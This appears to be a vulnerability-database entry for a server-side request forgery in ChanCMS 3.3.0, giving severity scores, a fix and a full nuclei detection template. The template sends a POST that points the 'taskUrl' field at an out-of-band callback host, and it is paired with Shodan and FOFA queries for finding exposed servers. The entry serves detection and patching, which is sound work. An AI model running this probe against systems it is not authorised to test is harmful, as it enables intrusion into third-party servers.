Browse / CVEs / CVE-2025-10211
CVE-2025-10211· CWE-918
ChanCMS <= 3.3.0 - Server-Side Request Forgery
mediumseverity
6.3CVSS score
0.8%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it
yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the "taskUrl" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.
Impact
Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
Fix
Update to the latest version of ChanCMS.
How to confirm it
Send: POST {{BaseURL}}/cms/collect/getArticle
Positive when: contains(interactsh_protocol, 'dns') and contains_all(response, 'success','article') and status_code == 200Run it with nuclei: nuclei -id CVE-2025-10211 -u <target>
The full check
id: CVE-2025-10211
info:
name: ChanCMS <= 3.3.0 - Server-Side Request Forgery
author: Yu_Bao
severity: medium
description: |
yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the "taskUrl" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.
impact: |
Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
remediation: |
Update to the latest version of ChanCMS.
reference:
- https://gitee.com/yanyutao0402/ChanCMS
- https://vuldb.com/?id.323484
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
cvss-score: 6.3
cve-id: CVE-2025-10211
epss-score: 0.0075
epss-percentile: 0.55303
cwe-id: CWE-918
metadata:
verified: true
max-request: 1
shodan-query: http.html:"ChanCMS"
fofa-query: body="ChanCMS"
tags: cve,cve2025,chancms,ssrf,oast,oob,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/cms/collect/getArticle"
headers:
Content-Type: application/json
body: |
{
"taskUrl": "http://{{interactsh-url}}",
"titleTag": "title",
"articleTag": "body",
"parseData": "return data;"
}
matchers:
- type: dsl
dsl:
- contains(interactsh_protocol, 'dns')
- contains_all(response, 'success','article')
- status_code == 200
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from